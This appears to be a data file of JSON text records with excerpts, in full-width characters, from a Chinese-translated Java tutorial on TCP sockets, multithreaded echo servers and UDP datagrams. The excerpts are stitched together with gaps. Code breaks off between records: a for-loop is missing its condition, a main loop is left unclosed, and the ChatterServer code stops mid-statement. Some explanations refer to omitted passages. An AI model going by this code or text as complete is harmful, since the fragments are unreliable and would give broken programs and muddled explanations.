    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＪａｂｂｅｒＣｌｉｅｎｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ／／ Ｐａｓｓｉｎｇ ｎｕｌｌ ｔｏ ｇｅｔＢｙＮａｍｅ（） ｐｒｏｄｕｃｅｓ ｔｈｅ ／／ ｓｐｅｃｉａｌ ＂Ｌｏｃａｌ Ｌｏｏｐｂａｃｋ＂ ＩＰ ａｄｄｒｅｓｓ， ｆｏｒ ５４１ ／／ ｔｅｓｔｉｎｇ ｏｎ ｏｎｅ ｍａｃｈｉｎｅ ｗ／ｏ ａ ｎｅｔｗｏｒｋ： ＩｎｅｔＡｄｄｒｅｓｓ ａｄｄｒ ＝ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（ｎｕｌｌ）； ／／ Ａｌｔｅｒｎａｔｉｖｅｌｙ， ｙｏｕ ｃａｎ ｕｓｅ ／／ ｔｈｅ ａｄｄｒｅｓｓ ｏｒ ｎａｍｅ： ／／ ＩｎｅｔＡｄｄｒｅｓｓ ａｄｄｒ ＝ ／／ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（＂１２７．０．０．１＂）； ／／ ＩｎｅｔＡｄｄｒｅｓｓ ａｄｄｒ ＝ ／／ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（＂ｌｏｃａｌｈｏｓｔ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａｄｄｒ ＝ ＂ ＋ ａｄｄｒ）； Ｓｏｃｋｅｔ ｓｏｃｋｅｔ ＝ ｎｅｗ Ｓｏｃｋｅｔ（ａｄｄｒ， ＪａｂｂｅｒＳｅｒｖｅｒ．ＰＯＲＴ）； ／／ Ｇｕａｒｄ ｅｖｅｒｙｔｈｉｎｇ ｉｎ ａ ｔｒｙ－ｆｉｎａｌｌｙ ｔｏ ｍａｋｅ ／／ ｓｕｒｅ ｔｈａｔ ｔｈｅ ｓｏｃｋｅｔ ｉｓ ｃｌｏｓｅｄ： ｔｒｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓｏｃｋｅｔ ＝ ＂ ＋ ｓｏｃｋｅｔ）； ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（ ｓｏｃｋｅｔ．ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（）））； ／／ Ｏｕｔｐｕｔ ｉｓ ａｕｔｏｍａｔｉｃａｌｌｙ ｆｌｕｓｈｅｄ ／／ ｂｙ ＰｒｉｎｔＷｒｉｔｅｒ： ＰｒｉｎｔＷｒｉｔｅｒ ｏｕｔ ＝ ｎｅｗ ＰｒｉｎｔＷｒｉｔｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＷｒｉｔｅｒ（ ｎｅｗ ＯｕｔｐｕｔＳｔｒｅａｍＷｒｉｔｅｒ（ ｓｏｃｋｅｔ．ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（））），ｔｒｕｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ ＋＋） ｛ ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｈｏｗｄｙ ＂ ＋ ｉ）； Ｓｔｒｉｎｇ ｓｔｒ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓｔｒ）； ｝ ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＥＮＤ＂）； ｝ ｆｉｎａｌｌｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃｌｏｓｉｎｇ．．．＂）； ｓｏｃｋｅｔ．ｃｌｏｓｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 在 ｍａｉｎ（）中，大家可看到获得本地主机 ＩＰ 地址的 ＩｎｅｔＡｄｄｒｅｓｓ 的三种途径：使用 ｎｕｌｌ，使用 ｌｏｃａｌｈｏｓｔ， 或者直接使用保留地址 １２７．０．０．１。"},
    {"text": "打印出 ＩｎｅｔＡｄｄｒｅｓｓ ａｄｄｒ 后（通过对 ｔｏＳｔｒｉｎｇ（）方法的自动调用），结果如下： ｌｏｃａｌｈｏｓｔ／１２７．０．０．１ 通过向 ｇｅｔＢｙＮａｍｅ（）传递一个 ｎｕｌｌ，它会默认寻找 ｌｏｃａｌｈｏｓｔ，并生成特殊的保留地址 １２７．０．０．１。"},
    {"text": "打印这样的某个 Ｓｏｃｋｅｔ 对象时，为了真 正理解它的含义，请记住一次独一无二的因特网连接是用下述四种数据标识的：ｃｌｉｅｎｔＨｏｓｔ（客户主机）、 ｃｌｉｅｎｔＰｏｒｔＮｕｍｂｅｒ（客户端口号）、ｓｅｒｖｅｒＨｏｓｔ（服务主机）以及 ｓｅｒｖｅｒＰｏｒｔＮｕｍｂｅｒ（服务端口号）。"},
    {"text": "服务 程序启动后，会在本地主机（１２７．０．０．１）上建立为它分配的端口（８０８０）。 一旦客户程序发出请求，机器上 下一个可用的端口就会分配给它（这种情况下是 １０７７），这一行动也在与服务程序相同的机器 （１２７．０．０．１）上进行。"},
    {"text": "现在，为了使数据能在客户及服务程序之间来回传送，每一端都需要知道把数据发到 哪里。 所以在同一个“已知”服务程序连接的时候，客户会发出一个“返回地址”，使服务器程序知道将自 ５４２ 己的数据发到哪儿。"},
    {"text": "我们在服务器端的示范输出中可以体会到这一情况： Ｓｏｃｋｅｔ［ａｄｄｒ＝１２７．０．０．１，ｐｏｒｔ＝１０７７，ｌｏｃａｌｐｏｒｔ＝８０８０］ 这意味着服务器刚才已接受了来自 １２７．０．０．１ 这台机器的端口 １０７７ 的连接，同时监听自己的本地端口 （８０８０）。 而在客户端： Ｓｏｃｋｅｔ［ａｄｄｒ＝ｌｏｃａｌｈｏｓｔ／１２７．０．０．１，ＰＯＲＴ＝８０８０，ｌｏｃａｌｐｏｒｔ＝１０７７］ 这意味着客户已用自己的本地端口 １０７７ 与 １２７．０．０．１ 机器上的端口 ８０８０ 建立了 连接。"},
    {"text": "这个编号从 １０２５（刚好在系统保留 的 １－１０２４ 之外）开始，并会一直增加下去，除非我们重启机器。 若重新启动机器，端口号仍然会从 １０２５ 开 始增值（在 Ｕｎｉｘ 机器中，一旦超过保留的套按字范围，数字就会再次从最小的可用数字开始）。"},
    {"text": "创建好 Ｓｏｃｋｅｔ 对象后，将其转换成 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ 和 ＰｒｉｎｔＷｒｉｔｅｒ 的过程便与在服务器中相同（同样地， 两种情况下都要从一个 Ｓｏｃｋｅｔ 开始）。"},
    {"text": "注意缓冲区必须再次刷新（这是自动发生的，通过传递给 ＰｒｉｎｔＷｒｉｔｅｒ 构建器的第二个参 数）。 若缓冲区没有刷新，那么整个会话（通信）都会被挂起，因为用于初始化的“ｈｏｗｄｙ”永远不会发送出 去（缓冲区不够满，不足以造成发送动作的自动进行）。"},
    {"text": "大家在这里可以看到我们采用了同样的措施来确保由 Ｓｏｃｋｅｔ 代表的网络资源得到正确的清除，这是用一个 ｔｒｙ－ｆｉｎａｌｌｙ 块实现的。"},
    {"text": "套接字建立了一个“专用”连接，它会一直持续到明确断开连接为止（专用连接也可能间接性地断开，前提 是某一端或者中间的某条链路出现故障而崩溃）。"},
    {"text": "对于下面这段服务器代码，大家可发现它与 ＪａｂｂｅｒＳｅｒｖｅｒ．ｊａｖａ 例子非常相似，只是为一个特定的客户提供 服务的所有操作都已移入一个独立的线程类中： ／／： ＭｕｌｔｉＪａｂｂｅｒＳｅｒｖｅｒ．ｊａｖａ ／／ Ａ ｓｅｒｖｅｒ ｔｈａｔ ｕｓｅｓ ｍｕｌｔｉｔｈｒｅａｄｉｎｇ ｔｏ ｈａｎｄｌｅ ／／ ａｎｙ ｎｕｍｂｅｒ ｏｆ ｃｌｉｅｎｔｓ． ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｃｌａｓｓ ＳｅｒｖｅＯｎｅＪａｂｂｅｒ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ Ｓｏｃｋｅｔ ｓｏｃｋｅｔ； ｐｒｉｖａｔｅ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ； ｐｒｉｖａｔｅ ＰｒｉｎｔＷｒｉｔｅｒ ｏｕｔ； ｐｕｂｌｉｃ ＳｅｒｖｅＯｎｅＪａｂｂｅｒ（Ｓｏｃｋｅｔ ｓ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｓｏｃｋｅｔ ＝ ｓ； ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（ ｓｏｃｋｅｔ．ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（）））； ／／ Ｅｎａｂｌｅ ａｕｔｏ－ｆｌｕｓｈ： ５４３ ｏｕｔ ＝ ｎｅｗ ＰｒｉｎｔＷｒｉｔｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＷｒｉｔｅｒ（ ｎｅｗ ＯｕｔｐｕｔＳｔｒｅａｍＷｒｉｔｅｒ（ ｓｏｃｋｅｔ．ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（）））， ｔｒｕｅ）； ／／ Ｉｆ ａｎｙ ｏｆ ｔｈｅ ａｂｏｖｅ ｃａｌｌｓ ｔｈｒｏｗ ａｎ ／／ ｅｘｃｅｐｔｉｏｎ， ｔｈｅ ｃａｌｌｅｒ ｉｓ ｒｅｓｐｏｎｓｉｂｌｅ ｆｏｒ ／／ ｃｌｏｓｉｎｇ ｔｈｅ ｓｏｃｋｅｔ． Ｏｔｈｅｒｗｉｓｅ ｔｈｅ ｔｈｒｅａｄ ／／ ｗｉｌｌ ｃｌｏｓｅ ｉｔ． ｓｔａｒｔ（）； ／／ Ｃａｌｌｓ ｒｕｎ（） ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｔｒｙ ｛ ｗｈｉｌｅ （ｔｒｕｅ） ｛ Ｓｔｒｉｎｇ ｓｔｒ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）； ｉｆ （ｓｔｒ．ｅｑｕａｌｓ（＂ＥＮＤ＂）） ｂｒｅａｋ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｃｈｏｉｎｇ： ＂ ＋ ｓｔｒ）； ｏｕｔ．ｐｒｉｎｔｌｎ（ｓｔｒ）； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃｌｏｓｉｎｇ．．．＂）； ｝ ｃａｔｃｈ （ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｝ ｆｉｎａｌｌｙ ｛ ｔｒｙ ｛ ｓｏｃｋｅｔ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＭｕｌｔｉＪａｂｂｅｒＳｅｒｖｅｒ ｛ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＰＯＲＴ ＝ ８０８０； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ＳｅｒｖｅｒＳｏｃｋｅｔ ｓ ＝ ｎｅｗ ＳｅｒｖｅｒＳｏｃｋｅｔ（ＰＯＲＴ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｅｒｖｅｒ Ｓｔａｒｔｅｄ＂）； ｔｒｙ ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ／／ Ｂｌｏｃｋｓ ｕｎｔｉｌ ａ ｃｏｎｎｅｃｔｉｏｎ ｏｃｃｕｒｓ： Ｓｏｃｋｅｔ ｓｏｃｋｅｔ ＝ ｓ．ａｃｃｅｐｔ（）； ｔｒｙ ｛ ｎｅｗ ＳｅｒｖｅＯｎｅＪａｂｂｅｒ（ｓｏｃｋｅｔ）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ／／ Ｉｆ ｉｔ ｆａｉｌｓ， ｃｌｏｓｅ ｔｈｅ ｓｏｃｋｅｔ， ／／ ｏｔｈｅｒｗｉｓｅ ｔｈｅ ｔｈｒｅａｄ ｗｉｌｌ ｃｌｏｓｅ ｉｔ： ｓｏｃｋｅｔ．ｃｌｏｓｅ（）； ｝ ｝ ｝ ｆｉｎａｌｌｙ ｛ ｓ．ｃｌｏｓｅ（）；"},
    {"text": "｝ ｝ ５４４ ｝ ／／／：￣ 每次有新客户请求建立一个连接时，ＳｅｒｖｅＯｎｅＪａｂｂｅｒ 线程都会取得由 ａｃｃｅｐｔ（）在 ｍａｉｎ（） 中生成的 Ｓｏｃｋｅｔ 对 象。"},
    {"text": "若 ＳｅｒｖｅＯｎｅＪａｂｂｅｒ 构建器失败，那么只需向调用者“掷”出一个违例即 可，然后由调用者负责线程的清除。 但假如构建器成功，那么必须由 ＳｅｒｖｅＯｎｅＪａｂｂｅｒ 对象负责线程的清除， 这是在它的 ｒｕｎ（）里进行的。"},
    {"text": "但这一次，ａｃｃｅｐｔ（） 的返回值（一个套接字）将传递给用于 ＳｅｒｖｅＯｎｅＪａｂｂｅｒ 的构建器，由 它创建一个新线程，并对那个连接进行控制。"},
    {"text": "／／： ＭｕｌｔｉＪａｂｂｅｒＣｌｉｅｎｔ．ｊａｖａ ／／ Ｃｌｉｅｎｔ ｔｈａｔ ｔｅｓｔｓ ｔｈｅ ＭｕｌｔｉＪａｂｂｅｒＳｅｒｖｅｒ ／／ ｂｙ ｓｔａｒｔｉｎｇ ｕｐ ｍｕｌｔｉｐｌｅ ｃｌｉｅｎｔｓ． ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｃｌａｓｓ ＪａｂｂｅｒＣｌｉｅｎｔＴｈｒｅａｄ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ Ｓｏｃｋｅｔ ｓｏｃｋｅｔ； ｐｒｉｖａｔｅ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ； ｐｒｉｖａｔｅ ＰｒｉｎｔＷｒｉｔｅｒ ｏｕｔ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ｃｏｕｎｔｅｒ ＝ ０； ｐｒｉｖａｔｅ ｉｎｔ ｉｄ ＝ ｃｏｕｎｔｅｒ＋＋； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ｔｈｒｅａｄｃｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｉｎｔ ｔｈｒｅａｄＣｏｕｎｔ（） ｛ ｒｅｔｕｒｎ ｔｈｒｅａｄｃｏｕｎｔ； ｝ ｐｕｂｌｉｃ ＪａｂｂｅｒＣｌｉｅｎｔＴｈｒｅａｄ（ＩｎｅｔＡｄｄｒｅｓｓ ａｄｄｒ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｍａｋｉｎｇ ｃｌｉｅｎｔ ＂ ＋ ｉｄ）； ｔｈｒｅａｄｃｏｕｎｔ＋＋； ｔｒｙ ｛ ｓｏｃｋｅｔ ＝ ｎｅｗ Ｓｏｃｋｅｔ（ａｄｄｒ， ＭｕｌｔｉＪａｂｂｅｒＳｅｒｖｅｒ．ＰＯＲＴ）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ／／ Ｉｆ ｔｈｅ ｃｒｅａｔｉｏｎ ｏｆ ｔｈｅ ｓｏｃｋｅｔ ｆａｉｌｓ， ／／ ｎｏｔｈｉｎｇ ｎｅｅｄｓ ｔｏ ｂｅ ｃｌｅａｎｅｄ ｕｐ． ｝ ｔｒｙ ｛ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＩｎｐｕｔＳｔｒｅａｍＲｅａｄｅｒ（ ｓｏｃｋｅｔ．ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（）））； ５４５ ／／ Ｅｎａｂｌｅ ａｕｔｏ－ｆｌｕｓｈ： ｏｕｔ ＝ ｎｅｗ ＰｒｉｎｔＷｒｉｔｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＷｒｉｔｅｒ（ ｎｅｗ ＯｕｔｐｕｔＳｔｒｅａｍＷｒｉｔｅｒ（ ｓｏｃｋｅｔ．ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（）））， ｔｒｕｅ）； ｓｔａｒｔ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ／／ Ｔｈｅ ｓｏｃｋｅｔ ｓｈｏｕｌｄ ｂｅ ｃｌｏｓｅｄ ｏｎ ａｎｙ ／／ ｆａｉｌｕｒｅｓ ｏｔｈｅｒ ｔｈａｎ ｔｈｅ ｓｏｃｋｅｔ ／／ ｃｏｎｓｔｒｕｃｔｏｒ： ｔｒｙ ｛ ｓｏｃｋｅｔ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ２） ｛｝ ｝ ／／ Ｏｔｈｅｒｗｉｓｅ ｔｈｅ ｓｏｃｋｅｔ ｗｉｌｌ ｂｅ ｃｌｏｓｅｄ ｂｙ ／／ ｔｈｅ ｒｕｎ（） ｍｅｔｈｏｄ ｏｆ ｔｈｅ ｔｈｒｅａｄ． ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｔｒｙ ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｛ ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｌｉｅｎｔ ＂ ＋ ｉｄ ＋ ＂： ＂ ＋ ｉ）； Ｓｔｒｉｎｇ ｓｔｒ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓｔｒ）； ｝ ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＥＮＤ＂）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｝ ｆｉｎａｌｌｙ ｛ ／／ Ａｌｗａｙｓ ｃｌｏｓｅ ｉｔ： ｔｒｙ ｛ ｓｏｃｋｅｔ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｔｈｒｅａｄｃｏｕｎｔ－－； ／／ Ｅｎｄｉｎｇ ｔｈｉｓ ｔｈｒｅａｄ ｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＭｕｌｔｉＪａｂｂｅｒＣｌｉｅｎｔ ｛ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＭＡＸ＿ＴＨＲＥＡＤＳ ＝ ４０； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ， ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｛ ＩｎｅｔＡｄｄｒｅｓｓ ａｄｄｒ ＝ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（ｎｕｌｌ）； ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉｆ（ＪａｂｂｅｒＣｌｉｅｎｔＴｈｒｅａｄ．ｔｈｒｅａｄＣｏｕｎｔ（） ＜ ＭＡＸ＿ＴＨＲＥＡＤＳ） ｎｅｗ ＪａｂｂｅｒＣｌｉｅｎｔＴｈｒｅａｄ（ａｄｄｒ）； Ｔｈｒｅａｄ．ｃｕｒｒｅｎｔＴｈｒｅａｄ（）．ｓｌｅｅｐ（１００）；"},
    {"text": "大家可能已看出了这样的一个 套路：Ｓｏｃｋｅｔ 肯定用于创建某种 Ｒｅａｄｅｒ 以及／或者 Ｗｒｉｔｅｒ（或者 ＩｎｐｕｔＳｔｒｅａｍ 和／或 ＯｕｔｐｕｔＳｔｒｅａｍ）对 象，这是运用 Ｓｏｃｋｅｔ 的唯一方式（当然，我们可考虑编写一、两个类，令其自动完成这些操作，避免大量重 复的代码编写工作）。"},
    {"text": "还有另一种协议，名为“用户数据报协议”（ＵＤＰ），它并不刻意追求数据包会完全发送出去，也不能担保它 们抵达的顺序与它们发出时一样。"},
    {"text": "对数据报来说，我们在 客户和服务器程序都可以放置一个 ＤａｔａｇｒａｍＳｏｃｋｅｔ（数据报套接字），但与 ＳｅｒｖｅｒＳｏｃｋｅｔ 不同，前者不会 干巴巴地等待建立一个连接的请求。"},
    {"text": "但对数据报来说，它的数据包必须知道自己来自何处，以及打算去哪里。 这意味 着我们必须知道每个数据报包的这些信息，否则信息就不能正常地传递。"},
    {"text": "所以一个用于接收数据报的 ＤａｔａｇｒａｍＰａｃｋｅｔ 构建器是： ＤａｔａｇｒａｍＰａｃｋｅｔ（ｂｕｆ， ｂｕｆ．ｌｅｎｇｔｈ） 其中，ｂｕｆ 是一个字节数组。"},
    {"text": "所以用于输出 ＤａｔａｇｒａｍＰａｃｋｅｔ 的构建器是： ＤａｔａｇｒａｍＰａｃｋｅｔ（ｂｕｆ， ｌｅｎｇｔｈ， ｉｎｅｔＡｄｄｒｅｓｓ， ｐｏｒｔ） 这一次，ｂｕｆ（一个字节数组）已经包含了我们想发出的数据。"},
    {"text": "为简化从一个 Ｓｔｒｉｎｇ 里创建 ＤａｔａｇｒａｍＰａｃｋｅｔ 的工作（或者从 ＤａｔａｇｒａｍＰａｃｋｅｔ 里创建 Ｓｔｒｉｎｇ），这个例子 首先用到了一个工具类，名为 Ｄｇｒａｍ： ／／： Ｄｇｒａｍ．ｊａｖａ ／／ Ａ ｕｔｉｌｉｔｙ ｃｌａｓｓ ｔｏ ｃｏｎｖｅｒｔ ｂａｃｋ ａｎｄ ｆｏｒｔｈ ／／ Ｂｅｔｗｅｅｎ Ｓｔｒｉｎｇｓ ａｎｄ ＤａｔａＧｒａｍＰａｃｋｅｔｓ． ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｄｇｒａｍ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ＤａｔａｇｒａｍＰａｃｋｅｔ ｔｏＤａｔａｇｒａｍ（ Ｓｔｒｉｎｇ ｓ， ＩｎｅｔＡｄｄｒｅｓｓ ｄｅｓｔＩＡ， ｉｎｔ ｄｅｓｔＰｏｒｔ） ｛ ／／ Ｄｅｐｒｅｃａｔｅｄ ｉｎ Ｊａｖａ １．１， ｂｕｔ ｉｔ ｗｏｒｋｓ： ｂｙｔｅ［］ ｂｕｆ ＝ ｎｅｗ ｂｙｔｅ［ｓ．ｌｅｎｇｔｈ（） ＋ １］； ｓ．ｇｅｔＢｙｔｅｓ（０， ｓ．ｌｅｎｇｔｈ（）， ｂｕｆ， ０）； ／／ Ｔｈｅ ｃｏｒｒｅｃｔ Ｊａｖａ １．１ ａｐｐｒｏａｃｈ， ｂｕｔ ｉｔ＇ｓ ／／ Ｂｒｏｋｅｎ （ｉｔ ｔｒｕｎｃａｔｅｓ ｔｈｅ Ｓｔｒｉｎｇ）： ／／ ｂｙｔｅ［］ ｂｕｆ ＝ ｓ．ｇｅｔＢｙｔｅｓ（）； ｒｅｔｕｒｎ ｎｅｗ ＤａｔａｇｒａｍＰａｃｋｅｔ（ｂｕｆ， ｂｕｆ．ｌｅｎｇｔｈ， ｄｅｓｔＩＡ， ｄｅｓｔＰｏｒｔ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（ＤａｔａｇｒａｍＰａｃｋｅｔ ｐ）｛ ／／ Ｔｈｅ Ｊａｖａ １．０ ａｐｐｒｏａｃｈ： ／／ ｒｅｔｕｒｎ ｎｅｗ Ｓｔｒｉｎｇ（ｐ．ｇｅｔＤａｔａ（）， ／／ ０， ０， ｐ．ｇｅｔＬｅｎｇｔｈ（））； ／／ Ｔｈｅ Ｊａｖａ １．１ ａｐｐｒｏａｃｈ： ｒｅｔｕｒｎ ｎｅｗ Ｓｔｒｉｎｇ（ｐ．ｇｅｔＤａｔａ（）， ０， ｐ．ｇｅｔＬｅｎｇｔｈ（））；"},
    {"text": "｝ ｝ ／／／：￣ Ｄｇｒａｍ 的第一个方法采用一个 Ｓｔｒｉｎｇ、一个 ＩｎｅｔＡｄｄｒｅｓｓ 以及一个端口号作为自己的参数，将 Ｓｔｒｉｎｇ 的内容 复制到一个字节缓冲区，再将缓冲区传递进入 ＤａｔａｇｒａｍＰａｃｋｅｔ 构建器，从而构建一个 ＤａｔａｇｒａｍＰａｃｋｅｔ。"},
    {"text": "所以尽管我 们在 Ｊａｖａ １．１ 下编译该程序时会得到一条“反对”消息，但它的行为仍然是正确无误的（这个错误应该在你 读到这里的时候修正了）。"},
    {"text": "Ｄｇｒａｍ．ｔｏＳｔｒｉｎｇ（）方法同时展示了 Ｊａｖａ １．０ 的方法和 Ｊａｖａ １．１ 的方法（两者是不同的，因为有一种新类型 的 Ｓｔｒｉｎｇ 构建器）。"},
    {"text": "下面是用于数据报演示的服务器代码： ／／： ＣｈａｔｔｅｒＳｅｒｖｅｒ．ｊａｖａ ／／ Ａ ｓｅｒｖｅｒ ｔｈａｔ ｅｃｈｏｅｓ ｄａｔａｇｒａｍｓ ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ５４８ ｐｕｂｌｉｃ ｃｌａｓｓ ＣｈａｔｔｅｒＳｅｒｖｅｒ ｛ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＩＮＰＯＲＴ ＝ １７１１； ｐｒｉｖａｔｅ ｂｙｔｅ［］ ｂｕｆ ＝ ｎｅｗ ｂｙｔｅ［１０００］； ｐｒｉｖａｔｅ ＤａｔａｇｒａｍＰａｃｋｅｔ ｄｐ ＝ ｎｅｗ ＤａｔａｇｒａｍＰａｃｋｅｔ（ｂｕｆ， ｂｕｆ．ｌｅｎｇｔｈ）； ／／ Ｃａｎ ｌｉｓｔｅｎ ＆ ｓｅｎｄ ｏｎ ｔｈｅ ｓａｍｅ ｓｏｃｋｅｔ： ｐｒｉｖａｔｅ ＤａｔａｇｒａｍＳｏｃｋｅｔ ｓｏｃｋｅｔ； ｐｕｂｌｉｃ ＣｈａｔｔｅｒＳｅｒｖｅｒ（） ｛ ｔｒｙ ｛ ｓｏｃｋｅｔ ＝ ｎｅｗ ＤａｔａｇｒａｍＳｏｃｋｅｔ（ＩＮＰＯＲＴ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｅｒｖｅｒ ｓｔａｒｔｅｄ＂）； ｗｈｉｌｅ（ｔｒｕｅ） ｛ ／／ Ｂｌｏｃｋ ｕｎｔｉｌ ａ ｄａｔａｇｒａｍ ａｐｐｅａｒｓ： ｓｏｃｋｅｔ．ｒｅｃｅｉｖｅ（ｄｐ）； Ｓｔｒｉｎｇ ｒｃｖｄ ＝ Ｄｇｒａｍ．ｔｏＳｔｒｉｎｇ（ｄｐ） ＋ ＂， ｆｒｏｍ ａｄｄｒｅｓｓ： ＂ ＋ ｄｐ．ｇｅｔＡｄｄｒｅｓｓ（） ＋ ＂， ｐｏｒｔ： ＂ ＋ ｄｐ．ｇｅｔＰｏｒｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｒｃｖｄ）； Ｓｔｒｉｎｇ ｅｃｈｏＳｔｒｉｎｇ ＝ ＂Ｅｃｈｏｅｄ： ＂ ＋ ｒｃｖｄ； ／／ Ｅｘｔｒａｃｔ ｔｈｅ ａｄｄｒｅｓｓ ａｎｄ ｐｏｒｔ ｆｒｏｍ ｔｈｅ ／／ ｒｅｃｅｉｖｅｄ ｄａｔａｇｒａｍ ｔｏ ｆｉｎｄ ｏｕｔ ｗｈｅｒｅ ｔｏ ／／ ｓｅｎｄ ｉｔ ｂａｃｋ： ＤａｔａｇｒａｍＰａｃｋｅｔ ｅｃｈｏ ＝ Ｄｇｒａｍ．ｔｏＤａｔａｇｒａｍ（ｅｃｈｏＳｔｒｉｎｇ， 